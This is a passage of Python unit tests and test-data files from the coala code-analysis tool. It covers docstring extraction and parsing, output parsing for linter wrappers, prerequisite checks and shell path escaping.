             " More subtext (not correctly aligned)\n"
             "      sub-sub-text\n"
             "\n"),
            docstyle_PYTHON3_doxygen, "",
            docstyle_PYTHON3_doxygen.markers[1],
            TextRange.from_values(30, 1, 35, 1)))

        self.assertEqual(
            list(extract_documentation(data, "PYTHON3", "doxygen")),
            expected)

    def test_extract_documentation_PYTHON3_2(self):
        data = ['\n', '""" documentation in single line  """\n', 'print(1)\n']

        docstyle_PYTHON3_default = DocstyleDefinition.load("PYTHON3",
                                                           "default")

        self.assertEqual(
            list(extract_documentation(data, "PYTHON3", "default")),
            [DocumentationComment(" documentation in single line  ",
                                  docstyle_PYTHON3_default, "",
                                  docstyle_PYTHON3_default.markers[0],
                                  TextRange.from_values(2, 1, 2, 38))])

    def test_extract_documentation_PYTHON3_3(self):
        data = ['## documentation in single line without return at end.']

        docstyle_PYTHON3_doxygen = DocstyleDefinition.load("PYTHON3",
                                                           "doxygen")

        self.assertEqual(
            list(extract_documentation(data, "PYTHON3", "doxygen")),
            [DocumentationComment(" documentation in single line without "
                                  "return at end.",
                                  docstyle_PYTHON3_doxygen, "",
                                  docstyle_PYTHON3_doxygen.markers[1],
                                  TextRange.from_values(1, 1, 1, 55))])






import unittest

from coalib.bearlib.languages.documentation.DocstyleDefinition import (
    DocstyleDefinition)
from coalib.bearlib.languages.documentation.DocumentationComment import (
    DocumentationComment)
from coalib.bearlib.languages.documentation.DocumentationExtraction import (
    extract_documentation)
from tests.bearlib.languages.documentation.TestUtils import (
    load_testdata)


class DocumentationCommentTest(unittest.TestCase):

    Description = DocumentationComment.Description
    Parameter = DocumentationComment.Parameter
    ReturnValue = DocumentationComment.ReturnValue

    Metadata = DocstyleDefinition.Metadata


class GeneralDocumentationCommentTest(DocumentationCommentTest):

    def test_fields(self):
        c_doxygen = DocstyleDefinition.load("C", "doxygen")
        uut = DocumentationComment("my doc",
                                   c_doxygen,
                                   " ",
                                   ("/**", "*", "*/"),
                                   (25, 45))

        self.assertEqual(uut.documentation, "my doc")
        self.assertEqual(uut.language, "c")
        self.assertEqual(uut.docstyle, "doxygen")
        self.assertEqual(uut.indent, " ")
        self.assertEqual(str(uut), "my doc")
        self.assertEqual(uut.marker, ("/**", "*", "*/"))
        self.assertEqual(uut.range, (25, 45))

        python_doxygen = DocstyleDefinition.load("python", "doxygen")

        python_doxygen_metadata = self.Metadata("@param ", " ", "@return ")

        uut = DocumentationComment("qwertzuiop",
                                   python_doxygen,
                                   "\t",
                                   ("##", "#", "#"),
                                   None)

        self.assertEqual(uut.documentation, "qwertzuiop")
        self.assertEqual(uut.language, "python")
        self.assertEqual(uut.docstyle, "doxygen")
        self.assertEqual(uut.indent, "\t")
        self.assertEqual(str(uut), "qwertzuiop")
        self.assertEqual(uut.marker, ("##", "#", "#"))
        self.assertEqual(uut.range, None)
        self.assertEqual(uut.metadata, python_doxygen_metadata)

    def test_not_implemented(self):
        raw_docstyle = DocstyleDefinition("nolang", "nostyle", ('', '', ''),
                                          self.Metadata('', '', ''))
        not_implemented = DocumentationComment(
            "some docs", raw_docstyle, None, None, None)
        with self.assertRaises(NotImplementedError):
            not_implemented.parse()

    def test_from_metadata(self):
        data = load_testdata("default.py")

        original = list(extract_documentation(data, "python", "default"))

        parsed_docs = [(doc.parse(), doc.marker, doc.indent, doc.range)
                       for doc in original]

        docstyle_definition = DocstyleDefinition.load("python", "default")

        assembled_docs = [DocumentationComment.from_metadata(
                          doc[0], docstyle_definition, doc[1], doc[2], doc[3])
                          for doc in parsed_docs]

        self.assertEqual(assembled_docs, original)


class PythonDocumentationCommentTest(DocumentationCommentTest):

    def check_docstring(self, docstring, expected=[]):
        self.assertIsInstance(docstring,
                              str,
                              "expected needs to be a string for this test.")

        self.assertIsInstance(expected,
                              list,
                              "expected needs to be a list for this test.")

        python_default = DocstyleDefinition.load("python", "default")

        doc_comment = DocumentationComment(docstring, python_default,
                                           None, None, None)
        parsed_metadata = doc_comment.parse()
        self.assertEqual(parsed_metadata, expected)

    def test_empty_docstring(self):
        self.check_docstring("", [])

    def test_description(self):
        doc = " description only "
        self.check_docstring(doc, [self.Description(desc=' description only ')])

    def test_params_default(self):
        self.maxDiff = None
        doc = (" :param test:  test description1 \n"
               " :param test:  test description2 \n")
        expected = [self.Parameter(name='test', desc='  test description1 \n'),
                    self.Parameter(name='test', desc='  test description2 \n')]
        self.check_docstring(doc, expected)

    def test_return_values_default(self):
        doc = (" :return: something1 \n"
               " :return: something2 ")
        expected = [self.ReturnValue(desc=' something1 \n'),
                    self.ReturnValue(desc=' something2 ')]
        self.check_docstring(doc, expected)

    def test_python_default(self):
        data = load_testdata("default.py")

        parsed_docs = [doc.parse() for doc in
                       extract_documentation(data, "python", "default")]

        expected = [
            [self.Description(desc='\nModule description.\n\n'
                                   'Some more foobar-like text.\n')],
            [self.Description(desc='\nA nice and neat way of '
                                   'documenting code.\n'),
             self.Parameter(name='radius', desc=' The explosion radius. ')],
            [self.Description(desc='A function that returns 55.')],
            [self.Description(desc='\nDocstring with layouted text.\n\n    '
                                   'layouts inside docs are preserved.'
                                   '\nthis is intended.\n')],
            [self.Description(desc=' Docstring inline with triple quotes.\n'
                                   '    Continues here. ')],
            [self.Description(desc='\nThis is the best docstring ever!\n\n'),
             self.Parameter(name='param1',
                            desc='\n    Very Very Long Parameter '
                                 'description.\n'),
             self.Parameter(name='param2',
                            desc='\n    Short Param description.\n\n'),
             self.ReturnValue(desc=' Long Return Description That Makes No '
                                   'Sense And Will\n         Cut to the Next'
                                   ' Line.\n')]]

        self.assertEqual(parsed_docs, expected)

    def test_python_doxygen(self):
        data = load_testdata("doxygen.py")

        parsed_docs = [doc.parse() for doc in
                       extract_documentation(data, "python", "doxygen")]

        expected = [
            [self.Description(desc=' @package pyexample\n  Documentation for'
                                   ' this module.\n\n  More details.\n')],
            [self.Description(
                desc=' Documentation for a class.\n\n More details.\n')],
            [self.Description(desc=' The constructor.\n')],
            [self.Description(desc=' Documentation for a method.\n'),
             self.Parameter(name='self', desc='The object pointer.\n')],
            [self.Description(desc=' A class variable.\n')],
            [self.Description(desc=' @var _memVar\n  a member variable\n')],
            [self.Description(desc=' This is the best docstring ever!\n\n'),
             self.Parameter(name='param1', desc='Parameter 1\n'),
             self.Parameter(name='param2', desc='Parameter 2\n'),
             self.ReturnValue(desc='Nothing\n')]]

        self.assertEqual(parsed_docs, expected)


class JavaDocumentationCommentTest(DocumentationCommentTest):

    def test_java_default(self):
        data = load_testdata("default.java")

        parsed_docs = [doc.parse() for doc in
                       extract_documentation(data, "java", "default")]

        expected = [[self.Description(
                     desc='\n Returns an String that says Hello with the name'
                          ' argument.\n\n'),
                     self.Parameter(name='name',
                                    desc='the name to which to say hello\n'),
                     self.ReturnValue(
                         desc='     the concatenated string\n')]]

        self.assertEqual(expected, parsed_docs)


class DocumentationAssemblyTest(unittest.TestCase):

    def test_python_assembly(self):
        data = load_testdata("default.py")
        docs = "".join(data)

        for doc in extract_documentation(data, "python", "default"):
            self.assertIn(doc.assemble(), docs)

    def test_c_assembly(self):
        data = load_testdata("default.c")
        docs = "".join(data)

        for doc in extract_documentation(data, "c", "doxygen"):
            self.assertIn(doc.assemble(), docs)






"""
Module description.

Some more foobar-like text.
"""

def foobar_explosion(radius):
    """
    A nice and neat way of documenting code.
    :param radius: The explosion radius. """
    def get_55():
        """A function that returns 55."""
        return 55
    return get_55() * radius

"""
Docstring with layouted text.

    layouts inside docs are preserved.
this is intended.
"""

""" Docstring inline with triple quotes.
    Continues here. """


def best_docstring(param1, param2):
    """
    This is the best docstring ever!

    :param param1:
        Very Very Long Parameter description.
    :param param2:
        Short Param description.

    :return: Long Return Description That Makes No Sense And Will
             Cut to the Next Line.
    """
    return None






"""
Module description.

Some more foobar-like text.
"""

def foobar_explosion(radius):
    """
    A nice and neat way of documenting code.
    :param radius: The explosion radius.
    """
    def get_55():
        """
        A function that returns 55.
        """
        return 55
    return get_55() * radius

"""
Docstring with layouted text.

    layouts inside docs are preserved for these documentation styles.
this is intended.
"""

""" Docstring directly besides triple quotes.
    Continues here. """


## Alternate documentation style in doxygen.
#  Subtext
# More subtext (not correctly aligned)
#      sub-sub-text
#
def foobar_travel(country):
    print("foobar likes to travel to " + country)
    smile = ":)"
    return smile

"""super
 nicely
short"""






## @package pyexample
#  Documentation for this module.
#
#  More details.
def func():
    pass

## Documentation for a class.
#
# More details.
class PyClass:

    ## The constructor.
    def __init__(self):
        self._memVar = 0

    ## Documentation for a method.
    #  @param self The object pointer.
    def PyMethod(self):
        pass

    ## A class variable.
    classVar = 0

    ## @var _memVar
    #  a member variable

    def best_docstring(param1, param2):
    ## This is the best docstring ever!
    #
    # @param param1 Parameter 1
    # @param param2 Parameter 2
    # @return Nothing
        return None






import os
import unittest

from coalib.bearlib.abstractions.Lint import Lint, escape_path_argument
from coalib.misc.ContextManagers import prepare_file
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.results.SourceRange import SourceRange
from coalib.settings.Section import Section


class LintTest(unittest.TestCase):

    def setUp(self):
        section = Section("some_name")
        self.uut = Lint(section, None)

    def test_invalid_output(self):
        out = list(self.uut.process_output(
            ["1.0|0: Info message\n",
             "2.2|1: Normal message\n",
             "3.4|2: Major message\n"],
            "a/file.py",
            ['original_file_lines_placeholder']))
        self.assertEqual(len(out), 3)
        self.assertEqual(out[0].origin, "Lint")

        self.assertEqual(out[0].affected_code[0],
                         SourceRange.from_values("a/file.py", 1, 0))
        self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)
        self.assertEqual(out[0].message, "Info message")

        self.assertEqual(out[1].affected_code[0],
                         SourceRange.from_values("a/file.py", 2, 2))
        self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL)
        self.assertEqual(out[1].message, "Normal message")

        self.assertEqual(out[2].affected_code[0],
                         SourceRange.from_values("a/file.py", 3, 4))
        self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR)
        self.assertEqual(out[2].message, "Major message")

    def test_custom_regex(self):
        self.uut.output_regex = (r'(?P<origin>\w+)\|'
                                 r'(?P<line>\d+)\.(?P<column>\d+)\|'
                                 r'(?P<end_line>\d+)\.(?P<end_column>\d+)\|'
                                 r'(?P<severity>\w+): (?P<message>.*)')
        self.uut.severity_map = {"I": RESULT_SEVERITY.INFO}
        out = list(self.uut.process_output(
            ["info_msg|1.0|2.3|I: Info message\n"],
            'a/file.py',
            ['original_file_lines_placeholder']))
        self.assertEqual(len(out), 1)
        self.assertEqual(out[0].affected_code[0].start.line, 1)
        self.assertEqual(out[0].affected_code[0].start.column, 0)
        self.assertEqual(out[0].affected_code[0].end.line, 2)
        self.assertEqual(out[0].affected_code[0].end.column, 3)
        self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)
        self.assertEqual(out[0].origin, 'Lint (info_msg)')

    def test_valid_output(self):
        out = list(self.uut.process_output(
            ["Random line that shouldn't be captured\n",
             "*************\n"],
            'a/file.py',
            ['original_file_lines_placeholder']))
        self.assertEqual(len(out), 0)

    def test_stdin_input(self):
        with prepare_file(["abcd", "efgh"], None) as (lines, filename):
            # Use more which is a command that can take stdin and show it.
            # This is available in windows and unix.
            self.uut.executable = "more"
            self.uut.use_stdin = True
            self.uut.use_stderr = False
            self.uut.process_output = lambda output, filename, file: output

            out = self.uut.lint(file=lines)
            # Some implementations of `more` add an extra newline at the end.
            self.assertTrue(("abcd\n", "efgh\n") == out or
                            ("abcd\n", "efgh\n", "\n") == out)

    def test_stderr_output(self):
        self.uut.executable = "echo"
        self.uut.arguments = "hello"
        self.uut.use_stdin = False
        self.uut.use_stderr = True
        self.uut.process_output = lambda output, filename, file: output
        out = self.uut.lint("unused_filename")
        self.assertEqual((), out)  # stderr is used

        self.uut.use_stderr = False
        out = self.uut.lint("unused_filename")
        self.assertEqual(('hello\n',), out)  # stdout is used

        def assert_warn(line):
            assert line == "hello"
        old_warn = self.uut.warn
        self.uut.warn = assert_warn
        self.uut._print_errors(["hello", "\n"])
        self.uut.warn = old_warn

    def test_gives_corrected(self):
        self.uut.gives_corrected = True
        out = tuple(self.uut.process_output(["a", "b"], "filename", ["a", "b"]))
        self.assertEqual((), out)
        out = tuple(self.uut.process_output(["a", "b"], "filename", ["a"]))
        self.assertEqual(len(out), 1)

    def test_check_prerequisites(self):
        old_binary = Lint.executable
        invalid_binary = "invalid_binary_which_doesnt_exist"
        Lint.executable = invalid_binary

        self.assertEqual(Lint.check_prerequisites(),
                         "'{}' is not installed.".format(invalid_binary))

        # "echo" is existent on nearly all platforms.
        Lint.executable = "echo"
        self.assertTrue(Lint.check_prerequisites())

        Lint.executable = old_binary

        old_command = Lint.prerequisite_command

        Lint.prerequisite_command = ["command_which_doesnt_exist"]
        self.assertEqual(Lint.check_prerequisites(), Lint.prerequisite_fail_msg)

        Lint.prerequisite_command = "command_which_isnt_a_list"
        self.assertRaises(TypeError, Lint.check_prerequisites)

        Lint.prerequisite_command = ["cd",
                                     os.path.join('non', 'existent', 'path')]
        self.assertEqual(Lint.check_prerequisites(), Lint.prerequisite_fail_msg)

        Lint.prerequisite_command = ["echo", "abc"]
        self.assertTrue(Lint.check_prerequisites())

        Lint.prerequisite_command = old_command

    def test_config_file_generator(self):
        self.uut.executable = "echo"
        self.uut.arguments = "-c {config_file}"

        self.assertEqual(
            self.uut._create_command(config_file="configfile").strip(),
            "echo -c " + escape_path_argument("configfile"))

    def test_generate_config_file_generator(self):
        self.uut.executable = "echo"
        self.uut.config_file = lambda: ["config line1"]
        config_filename = self.uut.generate_config_file()
        self.assertTrue(os.path.isfile(config_filename))
        os.remove(config_filename)

        # To complete coverage of closing the config file and check if any
        # errors are thrown there.
        self.uut.lint("filename")


class EscapePathArgumentTest(unittest.TestCase):

    def test_escape_path_argument_sh(self):
        _type = "sh"
        self.assertEqual(
            escape_path_argument("/home/usr/a-file", _type),
            "/home/usr/a-file")
        self.assertEqual(
            escape_path_argument("/home/usr/a-dir/", _type),
            "/home/usr/a-dir/")
        self.assertEqual(
            escape_path_argument("/home/us r/a-file with spaces.bla",
                                 _type),
            "'/home/us r/a-file with spaces.bla'")
        self.assertEqual(
            escape_path_argument("/home/us r/a-dir with spaces/x/",
                                 _type),
            "'/home/us r/a-dir with spaces/x/'")
        self.assertEqual(
            escape_path_argument(
                "relative something/with cherries and/pickles.delicious",
                _type),
            "'relative something/with cherries and/pickles.delicious'")

    def test_escape_path_argument_cmd(self):
        _type = "cmd"
        self.assertEqual(
            escape_path_argument("C:\\Windows\\has-a-weird-shell.txt", _type),
            "\"C:\\Windows\\has-a-weird-shell.txt\"")
        self.assertEqual(
            escape_path_argument("C:\\Windows\\lolrofl\\dirs\\", _type),
            "\"C:\\Windows\\lolrofl\\dirs\\\"")
        self.assertEqual(
            escape_path_argument("X:\\Users\\Maito Gai\\fi le.exe", _type),
            "\"X:\\Users\\Maito Gai\\fi le.exe\"")
        self.assertEqual(
            escape_path_argument("X:\\Users\\Mai to Gai\\director y\\",
                                 _type),
            "\"X:\\Users\\Mai to Gai\\director y\\\"")
        self.assertEqual(
            escape_path_argument("X:\\Users\\Maito Gai\\\"seven-gates\".y",
                                 _type),
            "\"X:\\Users\\Maito Gai\\^\"seven-gates^\".y\"")
        self.assertEqual(
            escape_path_argument("System32\\my-custom relative tool\\",
                                 _type),
            "\"System32\\my-custom relative tool\\\"")
        self.assertEqual(
            escape_path_argument("System32\\illegal\" name \"\".curd", _type),
            "\"System32\\illegal^\" name ^\"^\".curd\"")

    def test_escape_path_argument_unsupported(self):
        _type = "INVALID"
        self.assertEqual(
            escape_path_argument("/home/usr/a-file", _type),
            "/home/usr/a-file")
        self.assertEqual(
            escape_path_argument("/home/us r/a-file with spaces.bla", _type),
            "/home/us r/a-file with spaces.bla")
        self.assertEqual(
            escape_path_argument("|home|us r|a*dir with spaces|x|", _type),
            "|home|us r|a*dir with spaces|x|")
        self.assertEqual(
            escape_path_argument("system|a|b|c?d", _type),
            "system|a|b|c?d")






import platform
import os
import re
import sys
import unittest
from unittest.mock import ANY, Mock
from unittest.case import skipIf

from coalib.bearlib.abstractions.Linter import linter
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.results.SourceRange import SourceRange
from coalib.settings.Section import Section


def get_testfile_name(name):
    """
    Gets the full path to a testfile inside ``linter_test_files`` directory.

    :param name: The filename of the testfile to get the full path for.
    :return:     The full path to given testfile name.
    """
    return os.path.join(os.path.dirname(os.path.realpath(__file__)),
                        "linter_test_files",
                        name)


class LinterComponentTest(unittest.TestCase):

    # Using `object` instead of an empty class results in inheritance problems
    # inside the linter decorator.
    class EmptyTestLinter:
        pass

    class RootDirTestLinter:

        def create_arguments(self, *args, **kwargs):
            return tuple()

        def get_config_dir(self):
            return '/'

        def process_output(self, output, *args, **kwargs):
            assert output == '/\n', ("The linter doesn't run the command in "
                                     "the right directory!")

    class ManualProcessingTestLinter:

        def process_output(self, *args, **kwargs):
            pass

    def setUp(self):
        self.section = Section("TEST_SECTION")

    def test_decorator_invalid_parameters(self):
        with self.assertRaises(ValueError) as cm:
            linter("some-executable", invalid_arg=88, ABC=2000)
        self.assertEqual(
            str(cm.exception),
            "Invalid keyword arguments provided: 'ABC', 'invalid_arg'")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable", diff_severity=RESULT_SEVERITY.MAJOR)
        self.assertEqual(str(cm.exception),
                         "Invalid keyword arguments provided: 'diff_severity'")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable", result_message="Custom message")
        self.assertEqual(str(cm.exception),
                         "Invalid keyword arguments provided: "
                         "'result_message'")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable",
                   output_format="corrected",
                   output_regex=".*")
        self.assertEqual(str(cm.exception),
                         "Invalid keyword arguments provided: 'output_regex'")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable",
                   output_format="corrected",
                   severity_map={})
        self.assertEqual(str(cm.exception),
                         "Invalid keyword arguments provided: 'severity_map'")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable",
                   prerequisite_check_fail_message="some_message")
        self.assertEqual(str(cm.exception),
                         "Invalid keyword arguments provided: "
                         "'prerequisite_check_fail_message'")

    def test_decorator_invalid_states(self):
        with self.assertRaises(ValueError) as cm:
            linter("some-executable", use_stdout=False, use_stderr=False)
        self.assertEqual(str(cm.exception),
                         "No output streams provided at all.")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable", output_format="INVALID")
        self.assertEqual(str(cm.exception),
                         "Invalid `output_format` specified.")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable", output_format="regex")
        self.assertEqual(
            str(cm.exception),
            "`output_regex` needed when specified output-format 'regex'.")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable",
                   output_format="regex",
                   output_regex="",
                   severity_map={})
        self.assertEqual(
            str(cm.exception),
            "Provided `severity_map` but named group `severity` is not used "
            "in `output_regex`.")

        with self.assertRaises(ValueError) as cm:
            linter("some-executable")(object)
        self.assertEqual(
            str(cm.exception),
            "`process_output` not provided by given class 'object'.")

        with self.assertRaises(ValueError) as cm:
            (linter("some-executable", output_format="regex", output_regex="")
             (self.ManualProcessingTestLinter))
        self.assertEqual(
            str(cm.exception),
            "Found `process_output` already defined by class "
            "'ManualProcessingTestLinter', but 'regex' output-format is "
            "specified.")

    def test_decorator_generated_default_interface(self):
        uut = linter("some-executable")(self.ManualProcessingTestLinter)
        with self.assertRaises(NotImplementedError):
            uut.create_arguments("filename", "content", None)

    def test_decorator_invalid_parameter_types(self):
        # Provide some invalid severity maps.
        with self.assertRaises(TypeError):
            linter("some-executable",
                   output_format="regex",
                   output_regex="(?P<severity>)",
                   severity_map=list())

        with self.assertRaises(TypeError):
            linter("some-executable",
                   output_format="regex",
                   output_regex="(?P<severity>)",
                   severity_map={3: 0})

        with self.assertRaises(TypeError) as cm:
            linter("some-executable",
                   output_format="regex",
                   output_regex="(?P<severity>)",
                   severity_map={"critical": "invalid"})
        self.assertEqual(str(cm.exception),
                         "The value 'invalid' for key 'critical' inside given "
                         "severity-map is no valid severity value.")

        with self.assertRaises(TypeError) as cm:
            linter("some-executable",
                   output_format="regex",
                   output_regex="(?P<severity>)",
                   severity_map={"critical-error": 389274234})
        self.assertEqual(str(cm.exception),
                         "Invalid severity value 389274234 for key "
                         "'critical-error' inside given severity-map.")

        # Other type-error test cases.

        with self.assertRaises(TypeError):
            linter("some-executable",
                   output_format="regex",
                   output_regex="(?P<message>)",
                   result_message=None)

        with self.assertRaises(TypeError):
            linter("some-executable",
                   output_format="corrected",
                   result_message=list())

        with self.assertRaises(TypeError) as cm:
            linter("some-executable",
                   output_format="corrected",
                   diff_severity=999888777)
        self.assertEqual(str(cm.exception),
                         "Invalid value for `diff_severity`: 999888777")

        with self.assertRaises(TypeError):
            linter("some-executable",
                   prerequisite_check_command=("command",),
                   prerequisite_check_fail_message=382983)

    def test_get_executable(self):
        uut = linter("some-executable")(self.ManualProcessingTestLinter)
        self.assertEqual(uut.get_executable(), "some-executable")

    def test_check_prerequisites(self):
        uut = linter(sys.executable)(self.ManualProcessingTestLinter)
        self.assertTrue(uut.check_prerequisites())

        uut = (linter("invalid_nonexisting_programv412")
               (self.ManualProcessingTestLinter))
        self.assertEqual(uut.check_prerequisites(),
                         "'invalid_nonexisting_programv412' is not installed.")

        uut = (linter("invalid_nonexisting_programv412",
                      executable_check_fail_info="You can't install it.")
               (self.ManualProcessingTestLinter))
        self.assertEqual(uut.check_prerequisites(),
                         "'invalid_nonexisting_programv412' is not installed. "
                         "You can't install it.")

        uut = (linter(sys.executable,
                      prerequisite_check_command=(sys.executable, "--version"))
               (self.ManualProcessingTestLinter))
        self.assertTrue(uut.check_prerequisites())

        uut = (linter(sys.executable,
                      prerequisite_check_command=("invalid_programv413",))
               (self.ManualProcessingTestLinter))
        self.assertEqual(uut.check_prerequisites(),
                         "Prerequisite check failed.")

        uut = (linter(sys.executable,
                      prerequisite_check_command=("invalid_programv413",),
                      prerequisite_check_fail_message="NOPE")
               (self.ManualProcessingTestLinter))
        self.assertEqual(uut.check_prerequisites(), "NOPE")

    def test_output_stream(self):
        process_output_mock = Mock()

        class TestLinter:

            @staticmethod
            def process_output(output, filename, file):
                process_output_mock(output, filename, file)

            @staticmethod
            def create_arguments(filename, file, config_file):
                code = "\n".join(["import sys",
                                  "print('hello stdout')",
                                  "print('hello stderr', file=sys.stderr)"])
                return "-c", code

        uut = (linter(sys.executable, use_stdout=True)
               (TestLinter)
               (self.section, None))
        uut.run("", [])

        process_output_mock.assert_called_once_with("hello stdout\n", "", [])
        process_output_mock.reset_mock()

        uut = (linter(sys.executable, use_stdout=False, use_stderr=True)
               (TestLinter)
               (self.section, None))
        uut.run("", [])

        process_output_mock.assert_called_once_with("hello stderr\n", "", [])
        process_output_mock.reset_mock()

        uut = (linter(sys.executable, use_stdout=True, use_stderr=True)
               (TestLinter)
               (self.section, None))

        uut.run("", [])

        process_output_mock.assert_called_once_with(("hello stdout\n",
                                                     "hello stderr\n"), "", [])

    def test_process_output_corrected(self):
        uut = (linter(sys.executable, output_format="corrected")
               (self.EmptyTestLinter)
               (self.section, None))

        original = ["void main()  {\n", "return 09;\n", "}\n"]
        fixed = ["void main()\n", "{\n", "return 9;\n", "}\n"]
        fixed_string = "".join(fixed)

        results = list(uut.process_output(fixed_string,
                                          "some-file.c",
                                          original))

        diffs = list(Diff.from_string_arrays(original, fixed).split_diff())
        expected = [Result.from_values(uut,
                                       "Inconsistency found.",
                                       "some-file.c",
                                       1, None, 2, None,
                                       RESULT_SEVERITY.NORMAL,
                                       diffs={"some-file.c": diffs[0]})]

        self.assertEqual(results, expected)

        # Test when providing a sequence as output.

        results = list(uut.process_output([fixed_string, fixed_string],
                                          "some-file.c",
                                          original))
        self.assertEqual(results, 2 * expected)

        # Test diff_distance

        uut = (linter(sys.executable,
                      output_format="corrected",
                      diff_distance=-1)
               (self.EmptyTestLinter)
               (self.section, None))

        results = list(uut.process_output(fixed_string,
                                          "some-file.c",
                                          original))
        self.assertEqual(len(results), 2)

    def test_process_output_regex(self):
        # Also test the case when an unknown severity is matched.
        test_output = ("12:4-14:0-Serious issue (error) -> ORIGIN=X -> D\n"
                       "0:0-0:1-This is a warning (warning) -> ORIGIN=Y -> A\n"
                       "813:77-1024:32-Just a note (info) -> ORIGIN=Z -> C\n"
                       "0:0-0:0-Some unknown sev (???) -> ORIGIN=W -> B\n")
        regex = (r"(?P<line>\d+):(?P<column>\d+)-"
                 r"(?P<end_line>\d+):(?P<end_column>\d+)-"
                 r"(?P<message>.*) \((?P<severity>.*)\) -> "
                 r"ORIGIN=(?P<origin>.*) -> (?P<additional_info>.*)")

        uut = (linter(sys.executable,
                      output_format="regex",
                      output_regex=regex)
               (self.EmptyTestLinter)
               (self.section, None))
        uut.warn = Mock()

        sample_file = "some-file.xtx"
        results = list(uut.process_output(test_output, sample_file, [""]))
        expected = [Result.from_values("EmptyTestLinter (X)",
                                       "Serious issue",
                                       sample_file,
                                       12, 4, 14, 0,
                                       RESULT_SEVERITY.MAJOR,
                                       additional_info="D"),
                    Result.from_values("EmptyTestLinter (Y)",
                                       "This is a warning",
                                       sample_file,
                                       0, 0, 0, 1,
                                       RESULT_SEVERITY.NORMAL,
                                       additional_info="A"),
                    Result.from_values("EmptyTestLinter (Z)",
                                       "Just a note",
                                       sample_file,
                                       813, 77, 1024, 32,
                                       RESULT_SEVERITY.INFO,
                                       additional_info="C"),
                    Result.from_values("EmptyTestLinter (W)",
                                       "Some unknown sev",
                                       sample_file,
                                       0, 0, 0, 0,
                                       RESULT_SEVERITY.NORMAL,
                                       additional_info="B")]

        self.assertEqual(results, expected)
        uut.warn.assert_called_once_with(
            "'???' not found in severity-map. Assuming "
            "`RESULT_SEVERITY.NORMAL`.")

        # Test when providing a sequence as output.
        test_output = ["",
                       "12:4-14:0-Serious issue (error) -> ORIGIN=X -> XYZ\n"]
        results = list(uut.process_output(test_output, sample_file, [""]))
        expected = [Result.from_values("EmptyTestLinter (X)",
                                       "Serious issue",
                                       sample_file,
                                       12, 4, 14, 0,
                                       RESULT_SEVERITY.MAJOR,
                                       additional_info="XYZ")]

        self.assertEqual(results, expected)

        # Test with using `result_message` parameter.
        uut = (linter(sys.executable,
                      output_format="regex",
                      output_regex=regex,
                      result_message="Hello world")
               (self.EmptyTestLinter)
               (self.section, None))

        results = list(uut.process_output(test_output, sample_file, [""]))
        expected = [Result.from_values("EmptyTestLinter (X)",
                                       "Hello world",
                                       sample_file,
                                       12, 4, 14, 0,
                                       RESULT_SEVERITY.MAJOR,
                                       additional_info="XYZ")]

        self.assertEqual(results, expected)

    def test_minimal_regex(self):
        uut = (linter(sys.executable,
                      output_format="regex",
                      output_regex="an_issue")
               (self.EmptyTestLinter)
               (self.section, None))

        results = list(uut.process_output(['not an issue'], 'file', [""]))
        self.assertEqual(results, [])

        results = list(uut.process_output(['an_issue'], 'file', [""]))
        self.assertEqual(results, [Result.from_values("EmptyTestLinter", "",
                                                      file="file")])

    def test_get_non_optional_settings(self):
        class Handler(self.ManualProcessingTestLinter):

            @staticmethod
            def create_arguments(filename, file, config_file, param_x: int):
                pass

            @staticmethod
            def generate_config(filename, file, superparam):
                """
                :param superparam: A superparam!
                """
                return None

        uut = linter(sys.executable)(Handler)

        self.assertEqual(uut.get_non_optional_settings(),
                         {"param_x": ("No description given.", int),
                          "superparam": ("A superparam!", None)})

    def test_process_output_metadata_omits_on_builtin_formats(self):
        uut = (linter(executable='', output_format='corrected')
               (self.EmptyTestLinter))
        # diff_severity and result_message should now not occur inside the
        # metadata definition.
        self.assertNotIn("diff_severity", uut.get_metadata().optional_params)
        self.assertNotIn("result_message", uut.get_metadata().optional_params)
        self.assertNotIn("diff_severity",
                         uut.get_metadata().non_optional_params)
        self.assertNotIn("result_message",
                         uut.get_metadata().non_optional_params)

        # But every parameter manually defined in process_output shall appear
        # inside the metadata signature.
        class Handler:

            @staticmethod
            def create_arguments(filename, file, config_file):
                pass

            @staticmethod
            def process_output(output, filename, file, diff_severity):
                pass

        uut = linter(executable='')(Handler)
        self.assertIn("diff_severity", uut.get_metadata().non_optional_params)

    def test_section_settings_forwarding(self):
        create_arguments_mock = Mock()
        generate_config_mock = Mock()
        process_output_mock = Mock()

        class Handler(self.ManualProcessingTestLinter):

            @staticmethod
            def create_arguments(filename, file, config_file, my_param: int):
                create_arguments_mock(filename, file, config_file, my_param)
                # Execute python and do nothing.
                return "-c", "print('coala!')"

            @staticmethod
            def generate_config(filename, file, my_config_param: int):
                generate_config_mock(filename, file, my_config_param)
                return None

            def process_output(self, output, filename, file, makman2: str):
                process_output_mock(output, filename, file, makman2)

        self.section["my_param"] = "109"
        self.section["my_config_param"] = "88"
        self.section["makman2"] = "is cool"

        uut = linter(sys.executable)(Handler)(self.section, None)

        self.assertIsNotNone(list(uut.execute(filename="some_file.cs",
                                              file=[])))
        create_arguments_mock.assert_called_once_with(
            "some_file.cs", [], None, 109)
        generate_config_mock.assert_called_once_with("some_file.cs", [], 88)
        process_output_mock.assert_called_once_with(
            "coala!\n", "some_file.cs", [], "is cool")

    def test_section_settings_defaults_forwarding(self):
        create_arguments_mock = Mock()
        generate_config_mock = Mock()
        process_output_mock = Mock()

        class Handler:

            @staticmethod
            def generate_config(filename, file, some_default: str="x"):
                generate_config_mock(filename, file, some_default)
                return None

            @staticmethod
            def create_arguments(filename, file, config_file, default: int=3):
                create_arguments_mock(
                    filename, file, config_file, default)
                return "-c", "print('hello')"

            @staticmethod
            def process_output(output, filename, file, xxx: int=64):
                process_output_mock(output, filename, file, xxx)

        uut = linter(sys.executable)(Handler)(self.section, None)

